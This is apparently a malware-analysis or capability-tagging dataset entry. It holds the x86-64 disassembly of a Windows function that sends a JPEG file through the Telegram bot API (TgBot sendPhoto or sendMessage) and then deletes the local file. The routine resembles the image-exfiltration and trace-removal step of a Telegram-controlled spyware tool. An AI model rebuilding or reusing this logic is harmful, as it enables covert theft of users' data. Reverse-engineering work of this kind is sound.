Function at 0x140063a30
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x140]
sub rsp, 0x240
mov rax, qword [0x14008e040]
xor rax, rsp
mov qword [rbp + 0x138], rax
mov rsi, rdx
mov rbx, rcx
mov qword [rbp + 0x90], rdx
mov rax, qword [rdx]
mov r8, qword [rax + 0x30]
mov rax, qword [0x14008f878]
cmp qword [r8], rax
jne 0x140063d8d
lea rcx, [rbp + 0x118]
call fcn.14004c130
nop
mov rbx, qword [rbx]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x38], xmm0
xor edi, edi
mov qword [rbp + 0x48], rdi
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
xor r8d, r8d
lea rdx, [0x14007631f]
lea rcx, [rbp - 0x38]
call fcn.14006ce70
nop
lea rax, [rbp + 0x28]
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x28], xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
lea r8d, [rdi + 0x28]
lea rdx, [0x14007e8d8]
lea rcx, [rbp - 0x58]
call fcn.14006ce70
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
lea r8d, [rdi + 0xa]
lea rdx, str.image_jpeg
lea rcx, [rbp - 0x78]
call fcn.14006ce70
nop
lea r8, [rbp - 0x78]
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0xa8]
call qword [sym.imp.TgBot.dll_public:_static_class_std::shared_ptr_class_TgBot::InputFile____cdecl_TgBot::InputFile::fromFile_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64_]
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x70], xmm0
mov rcx, qword [rax]
mov qword [rbp + 0x70], rcx
mov rcx, qword [rax + 8]
mov qword [rbp + 0x78], rcx
mov qword [rax], rdi
mov qword [rax + 8], rdi
mov dword [rbp + 0x68], edi
mov rax, qword [rsi]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx]
mov qword [rbp + 0xd0], rax
mov dword [rbp + 0xc8], edi
mov byte [rsp + 0x68], dil
mov dword [rsp + 0x60], edi
mov byte [rsp + 0x58], dil
mov byte [rsp + 0x50], dil
lea rax, [rbp + 0x38]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], dil
lea rax, [rbp - 0x38]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], edi
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x68]
lea r8, [rbp + 0xc8]
lea rdx, [rbp + 0x98]
lea rcx, [rbx + 0x20]
call qword [sym.imp.TgBot.dll__sendPhoto_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D_s]
lea ebx, [rdi - 1]
mov rdi, qword [rbp + 0xa0]
test rdi, rdi
je 0x140063bf6
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140063bf6
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, ebx
lock xadd dword [rdi + 0xc], eax
cmp eax, 1
jne 0x140063bf6
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 8]
nop
mov rdi, qword [rbp + 0xb0]
test rdi, rdi
je 0x140063c2c
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140063c2c
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, ebx
lock xadd dword [rdi + 0xc], eax
cmp eax, 1
jne 0x140063c2c
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140063c6a
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063c65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063c65
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140070a70
movdqa xmm0, xmmword [0x140080510]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140063cb9
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063cb4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063cb4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140070a70
movdqa xmm0, xmmword [0x140080510]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140063d08
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063d03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063d03
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140070a70
movdqa xmm0, xmmword [0x140080510]
movdqu xmmword [rbp - 0x28], xmm0
mov byte [rbp - 0x38], 0
lea rcx, [rbp + 0x38]
call fcn.14006a6a0
lea rcx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0xf
cmova rcx, qword [rbp + 0x118]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
mov rdx, qword [rbp + 0x130]
cmp rdx, 0xf
jbe 0x140063f3e
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063d83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063d83
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140070a70
jmp 0x140063f3e
mov rbx, qword [rcx]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x50], xmm0
xor edi, edi
mov qword [rbp + 0x60], rdi
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
xor r8d, r8d
lea rdx, [0x14007631f]
lea rcx, [rbp + 8]
call fcn.14006ce70
nop
lea rax, [rsp + 0x78]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x78], xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
lea r8d, [rdi + 0x1b]
lea rdx, [0x14007e680]
lea rcx, [rbp - 0x18]
call fcn.14006ce70
nop
mov rax, qword [rsi]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx]
mov qword [rbp + 0xf8], rax
mov dword [rbp + 0xf0], edi
mov dword [rsp + 0x60], edi
mov byte [rsp + 0x58], dil
mov byte [rsp + 0x50], dil
lea rax, [rbp + 0x50]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], dil
lea rax, [rbp + 8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], edi
mov byte [rsp + 0x20], dil
lea r9, [rbp - 0x18]
lea r8, [rbp + 0xf0]
lea rdx, [rbp + 0xb8]
lea rcx, [rbx + 0x20]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
lea ebx, [rdi - 1]
mov rdi, qword [rbp + 0xc0]
test rdi, rdi
je 0x140063e96
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140063e96
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, ebx
lock xadd dword [rdi + 0xc], eax
cmp eax, 1
jne 0x140063e96
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 8]
nop
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x140063ed4
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063ecf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063ecf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140070a70
movdqa xmm0, xmmword [0x140080510]
movdqu xmmword [rbp - 8], xmm0
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x140063f23
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063f1e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063f1e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140070a70
movdqa xmm0, xmmword [0x140080510]
movdqu xmmword [rbp + 0x18], xmm0
mov byte [rbp + 8], 0
lea rcx, [rbp + 0x50]
call fcn.14006a6a0
nop
mov rdi, qword [rsi + 8]
test rdi, rdi
je 0x140063f6e
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140063f6e
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
lock xadd dword [rdi + 0xc], ebx
cmp ebx, 1
jne 0x140063f6e
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 8]
mov rcx, qword [rbp + 0x138]
xor rcx, rsp
call fcn.1400707f0
mov rbx, qword [rsp + 0x270]
add rsp, 0x240
pop rdi
pop rsi
pop rbp
ret